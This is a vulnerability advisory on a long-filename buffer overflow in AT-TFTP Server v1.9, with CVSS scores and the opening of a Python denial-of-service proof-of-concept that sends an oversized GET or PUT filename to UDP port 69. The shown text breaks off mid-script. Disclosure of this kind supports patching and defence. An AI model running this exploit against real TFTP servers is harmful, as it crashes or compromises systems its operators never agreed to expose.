TFTP Server AT-TFTP Server v 1.9 Buffer Overflow Vulnerability (Long filename)

Credit: Liu Qixu
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-Other

CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

TFTP Server AT-TFTP Server v 1.9 Buffer Overflow Vulnerability (Long filename) ------------------------------------------------------------------ SUMMARY: AT-TFTP Server is a Freeware TFTP server for Windows 9x/NT/XP. ( It provides an implementation of the TFTPv2 protocol. A vulnerability has been identified in TFTP Server AT-TFTP Server v1.9, which could be exploited by remote or local attackers to execute arbitrary commands or cause a denial of service. This flaw is due to a buffer overflow error when handling an overly long file name (more than 227 bytes) passed to a "GET" or "PUT" command, which could be exploited by malicious users to compromise a vulnerable system or crash an affected application. ---------- DETAILS: Vulnerable systems: AT-TFTP Server v 1.9 and probable prior Exploit: #!/usr/bin/python # Buffer Overflow (Long filename) Vulnerability Exploit # This is just a DoS exploiting code # Tested on Windows xp SP2 # # Requires python and impacket # # Coded by Liu Qixu Of NCNIPC import socket import sys host = '' port = 69 try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) except: print "socket() failed" sys.exit(1) filename = "A" * 227 mode = "netascii" data = "x00x02" + filename + "

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